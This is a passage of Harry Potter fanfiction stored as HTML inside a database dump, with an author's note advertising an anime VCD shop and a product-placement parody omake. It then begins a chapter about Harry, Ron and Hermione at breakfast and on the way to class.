class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: hope you enjoyed it. Next part will be posted the usual\ntime on Monday afternoon. On a new note, me and my\nfriend Michael have set up an online Anime store. We sell VCDs (Video CDs can\nbe played on almost <i style="mso-bidi-font-style:normal">all</i> DVD players\nand <i style="mso-bidi-font-style:normal">all</i> computers.) of popular new\nanime. King Bandit Jing, Chobits, Onegai Teacher, Bluer than indigo, Inuyasha,\nDragonball GT and Fushigi Yuugi is just a sample of our collection! If you want\na series and we don&#8217;t have it, we&#8217;ll get it for you! Requesting Anime will take\n3-4 days to confirm if we can get it. Japanese Audio with English subtitles.\nPlease email Satashi@scifianime.com\nfor questions or to place an order. Usually runs $15.00-$20.00 a series. Prices on longer series prices upon request. VHS Anime upon request as well. Mention this ad for a 10%\ndiscount! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, here\'s a little omake for you to celebrate the grand\nopening of S&amp;M Anime! (Satashi and Miguel Anime) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The camera focuses on some rather nice looking New Balance\nshoes. It slowly moves up to reveal the wearer to also have on New Balance\nbrand wind pants on. Going farther up, it shows a nice New Balance shirt and\nwind suit top with the &quot;N&quot; symbol on the chest of it</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hello, everyone.&quot; Harry\ngreets, taking off his Rayband sunglasses. &quot;We have heard that some people\nthink we have sold out advertising space in our current acting job in this\nfanfic. Well, let me assure you, this is just not true!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Nope.&quot;</i><i style="mso-bidi-font-style:normal"> He made another sweep across his skin,\nmaking Ginny wince at how casual he was about it. &quot;It\'s a Muggle Razor.\nMach 3 Turbo, it doesn\'t matter if you shave up or down. I got Sirius to buy\nthem for me.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just then Ron came into the room. &quot;Yo, Harry, Pizza\'s\nhere!&quot; Ron sat down the box and took out a slice, biting into it and\nmaking an &quot;mmm&quot; sound. &quot;You know, I sure am glad Dominos\ndelivers!&quot; He left the box open so the name could be seen. &quot;And that\nheat wave bag they use? Man, my pizza is always nice and hot!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah!&quot; Harry agreed,\ngetting up to get a slice. &quot;Would you like a drink, Ron? We have Dr Pepper\nhere!&quot; He took out two cans. &quot;Nothing beats a nice cold Dr Pepper\nwith pizza!&quot; Sudden he gasped. &quot;We don\'t have chips!&quot;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry and Ron walked\ndown the hall in full casual attire. Harry sported jeans and a black shirt and\nblack timberland shoes.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&quot;I have chips.&quot; Hermione said, holding up a can of\nPringles. &quot;And they\'re not greasy and crunched up like other chips,\neither!&quot; Harry nodded in approval, but rubbed his head. &quot;Something\nwrong, Harry?&quot; she placed her hands on her hips. &quot;Do you have another\nheadache?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah.&quot; Harry said after\na moment. &quot;That\'s when I usually turn to B.C. powder. It gets rid of my\nworst headaches in just minuets!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron nodded. &quot;Yeah, the other leading headache medicines\ntake up to twenty minuets sometimes!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Honestly,\nHarry.&quot; She teased him as they walked together to the picture of the fat\nlady. &quot;You\'re such a girl.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;They\'re for\nHermione!&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Surrrrrre&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Honestly!&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Smirnoff\nIce.&quot; Rose told the picture, making it open.\n&quot;I won\'t tell anyone.&quot; She winked before walking into the room.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="margin-left:2.0in;text-indent:.5in"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s too bad You-know-who doesn&#8217;t get headaches like\nHarry does.&quot; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, but Voldemort has other things on his mind&#8230; like\nkilling and torturing.&quot; Harry spat. &quot; With\nhim on the lose, I\'m glad that I have Met Life insurance.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But don\'t they ask all sorts of questions?&quot; Ron\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s simple.&quot; Harry replied to his friend.\n&quot;I called them by their toll free number and answered three questions. I\nwas approved in under twenty minutes.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione sighed and\nrinsed the shampoo from her hair and looked at the bottle of Herbal Essence.\n&quot;And I never did believe those dumb commercials either!&quot; She grinned\nand replaced the cap on it. &quot;Now to dry it.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~~~</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wow, that is simple!&quot;\nHermione agreed. &quot;I love simple things. That\'s why when I need to make a\nlong distance call, and can\'t get to an owl, I dial 1-800-COLLECT. It\'s free\nfor me and cheap for them!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned. &quot;Save them at least a buck or two!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But I don\'t like committing to a company like\nthat.&quot; Ron protested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s the great thing about it!&quot; Hermione\nsqueaked. &quot; There are no obligations. Just dial\nthe 800 number, then one, and then who you\'re calling!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sounds like a great plan.&quot; Harry said nodding.\n&quot;I\'ll use it next time I have to get in touch wit Sirius. I hear he has a\nnew cell phone.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just then Dean walked into the room, chatting on his phone.\n&quot;Can you hear me now? &#8230; Good!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Legal stuff: I own none of the above, and I was not paid to\nsay anything&#8230;yeah, not paid&#8230; not paid at all&#8230;.hehe&#8230;suckers&#8230;<i style="mso-bidi-font-style:\nnormal"></i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(118, 4, '\n\n\n\n<p class="MsoNormal">Harry shoveled in another mouthful of scrambled eggs and bit\ninto his toast almost at the same time. His friend Ron was literally fighting\nhim for food of his own. The pair, completely forgetting there was an almost\nendless supply of food, were clashing forks and dancing around the plates in an\nattempt to grab the last sausage. The other students, used to this, went about\ntheir daily business. Dean was reading his Hogwarts newspaper while drinking\ncoffee. Seamus was working on his homework due first period and randomly taking\na bite of toast. Ginny was chatting with her girlfriends and Neville was simply\neating and talking with a few friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey, Tiger.&quot; A husky voice whispered into Harry\'s\near, making him almost choke on his cappuccino that he got Dobby to start\nmaking for him in the mornings. After the initial shock of things, Harry turned\nto view who had just graced his morning so lovingly by making him spill his\ndrink on himself. What he saw definitely made it his worth while.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">StraightHair!Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You look nice this morning.&quot; He mused, looking\nher over. &quot;How long did that take you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A while.&quot; She admitted, sitting next to him and\nnicking a piece of toast. Ron, seeing the distraction, shot his fork out to\ngrab some more French toast, but found another fork in his way, snagging the\nlast of it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Damn you, Harry&#8230;</i>\'\nRon though, grabbing some more when it re-appeared. \'<i style="mso-bidi-font-style:\nnormal">One of these days, I\'m gonna&#8230; Ooh! Biscuits! </i>&#8216;His mind turned to the\nnew hot food and he preoccupied himself with them instead of his best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey Harry!&quot; A new voice broke out, making the\nthree best friends turn. Two Ravenclaws approached them, one male and one\nfemale.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, hey.&quot; Harry greeted the girl that called to\nhim. He desperately searched his mind for her name, but couldn\'t find it. He\nonly recognized her face from one of his classes; Divination, and Harry was\nfamous in that class for the amount of attention he spent in there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, I was wondering, if you was free, would you like\nto go out next Saturday?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s eyes went wide at this. Somewhere in the back of his\nmind, he heard the guy ask Hermione the same thing. &quot;Umm,&quot; He began,\nlooking to Ron for help. He was in a stage of shock as well. Seeing no help\nthere, he turned to Hermione, who was facing him with a pleading look.\n&quot;Er, sorry&#8230;&quot; Harry began before realizing he didn\'t know her name.\nQuickly covering, he added: &quot;Me and Hermione are going out next Hogsmeade\ntrip, so we can\'t.&quot; Hermione looked like she could kiss him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How about this week then?&quot; The male asked, not\ngiving up. Hermione\'s eyes widened again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Er, I&#8230; well&#8230;&quot; Seeing no help anywhere, she gave\nin to her own good nature. &quot;Sure.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright!&quot; The male grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Knowing that he would look bad for turning her down after\nlying to her face, he nodded slowly. &quot;Sure&#8230; I\'m free&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The girl smiled. &quot;See you then.&quot; And with that,\nthey both walked away back to their table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What was that about?&quot; Ron asked the pair, shaking\nhis head. Just then he noticed Hermione. &quot;Whoa, Herms! You\'re a girl\nagain!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ignored this and turned to Harry.\n&quot;Harry&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He shrugged. &quot;One date, I guess. Can\'t be <i style="mso-bidi-font-style:normal">that</i> bad can it? We\'ll just take them to\nthe same place, see each other, and being friends, want to double date. They <i style="mso-bidi-font-style:normal">did</i> ask us at the same time, you\nknow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled at him. &quot;You\'re such a bad influence on\nme. But oh well, where should we meet?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, I dunno. How about that nice place at the edge of\ntown? I\'ve always wanted to go there.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Pour Duex?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, that place.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That place is expensive.&quot; Ron commented, looking\nat the pair. &quot;Always wanted to eat there once, but couldn\'t afford\nit.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slowly smiled. &quot;Guess a triple date is out of the\nquestion then&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Unless I take my sister who had a job over the summer\nand make her pay, yeah.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked over at Harry. &quot;Oh well&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh bugger!&quot; Ron cursed as they walked to Care of\nMagical Creatures. &quot;I\'ve forgotten my Book!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You should pay more attention, Ron.&quot; Hermione\njoked, laughing. She was walking between the boys, an arm through theirs. Harry\nwas carrying her books while Ron was carrying her second bag full of parchment\nand inks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, actually, Hermione&#8230;&quot; He began slowly. &quot;That\nbook kind of had your homework in it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Uh oh</i>\' Harry\nthought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">What</i>!?&quot;\nHermione stopped walking, which in turn forced both boys to stop as well.\n&quot;Ronald Weasley!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Uh oh</i>\' Ron\nthought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do you mean to tell me that you still have that\nbecause you were <i style="mso-bidi-font-style:normal">copying </i>it rather\nthan just <i style="mso-bidi-font-style:normal">looking it over</i>, like you <i style="mso-bidi-font-style:normal">told</i> me you was!?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ran flushed. &quot;Um&#8230; yeah?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She growled at him and took her arm from Harry\'s and grabbed\nRon\'s one arm with both of hers. &quot;You march right back to the common room\nand- no, wait, I\'ll go with you so you can\'t 